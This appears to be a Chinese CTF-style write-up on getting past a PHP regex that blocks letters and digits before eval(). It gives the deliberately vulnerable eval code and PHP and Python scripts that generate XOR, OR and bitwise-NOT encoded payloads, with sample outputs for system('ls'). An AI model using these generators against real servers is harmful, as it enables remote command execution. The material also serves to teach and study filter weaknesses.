当前位置: 首页 > news >正文

无字母数字绕过正则表达式

目录

1、题目代码

1.异或

php部分:

python代码:

2.或

php代码

python代码

测试结果:

3、取反

php脚本:

测试结果:


1、题目代码

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){die('hacker');
}
eval($code);

我们下面以命令system('ls')为例:

1.异或

php部分:

<?php$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

php运行后生成一个txt文档,包含所有可见字符的异或构造结果。

python代码:

        

import requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

运行python脚本后,得到:

[+] your function:system
[+] your command:ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

 

将得到的结果复制过去即可,最终效果如下图所示:

2.或

原理是相同的,只需要把上面的脚本上稍加改动即可

php代码

<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

运行后得到:

python代码

import requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("or_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

执行:

[+] your function:system
[+] your command:ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

测试结果:

3、取反

        因为取反的话,基本上用的都是一个不可见字符,所有不会触发到正则表达式,我们一个php脚本就可以了

php脚本:

<?php
//在命令行中运行fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

运行结果:

[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);
 

测试结果:

欧克,结束!!

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 企业内耗的解决策略:打造活力四溢的文化社区
  • Python 加载 TensorFlow 模型
  • 如何复现Github上的项目以及conda的常用操作指令
  • python opencv实时视频输入
  • 数据可视化之旅,从数据洞察到图表呈现,可视化的产品设计
  • 【面试最常考算法】哈希表专题
  • 《AI办公类工具PPT系列之二——iSlide AI》
  • PHP-FPM未授权访问漏洞
  • 【整理】后端接口设计和优化相关思路汇总
  • 【C++】单例模式的解析与应用
  • Centos7离线安装Sumo全过程(xerces-c、Cmake、gymnasium等)
  • Windows自动化3️⃣WindowsPC拽起时长问题解决方案
  • Java学习Day30:Mysql 第三章:玄阶高级斗技:八极崩!
  • 查券机器人如何提升电商返利系统的用户体验
  • Visual C++ 2010 学习版
  • 【腾讯Bugly干货分享】从0到1打造直播 App
  • Android交互
  • Bootstrap JS插件Alert源码分析
  • create-react-app做的留言板
  • Docker 笔记(2):Dockerfile
  • ES6系列(二)变量的解构赋值
  • IOS评论框不贴底(ios12新bug)
  • Python打包系统简单入门
  • Redis中的lru算法实现
  • 闭包--闭包作用之保存(一)
  • 服务器之间,相同帐号,实现免密钥登录
  • 给github项目添加CI badge
  • 汉诺塔算法
  • 记录:CentOS7.2配置LNMP环境记录
  • 简单数学运算程序(不定期更新)
  • 讲清楚之javascript作用域
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 聊聊redis的数据结构的应用
  • 前端每日实战 2018 年 7 月份项目汇总(共 29 个项目)
  • 使用Envoy 作Sidecar Proxy的微服务模式-4.Prometheus的指标收集
  • 适配iPhoneX、iPhoneXs、iPhoneXs Max、iPhoneXr 屏幕尺寸及安全区域
  • -- 数据结构 顺序表 --Java
  • 正则表达式小结
  • 正则学习笔记
  • 自制字幕遮挡器
  • 《天龙八部3D》Unity技术方案揭秘
  • scrapy中间件源码分析及常用中间件大全
  • 如何在招聘中考核.NET架构师
  • #laravel 通过手动安装依赖PHPExcel#
  • #设计模式#4.6 Flyweight(享元) 对象结构型模式
  • ()、[]、{}、(())、[[]]命令替换
  • (C语言)球球大作战
  • (Git) gitignore基础使用
  • (编译到47%失败)to be deleted
  • (博弈 sg入门)kiki's game -- hdu -- 2147
  • (差分)胡桃爱原石
  • (非本人原创)我们工作到底是为了什么?​——HP大中华区总裁孙振耀退休感言(r4笔记第60天)...
  • (附源码)spring boot建达集团公司平台 毕业设计 141538
  • (附源码)springboot 智能停车场系统 毕业设计065415
  • (回溯) LeetCode 40. 组合总和II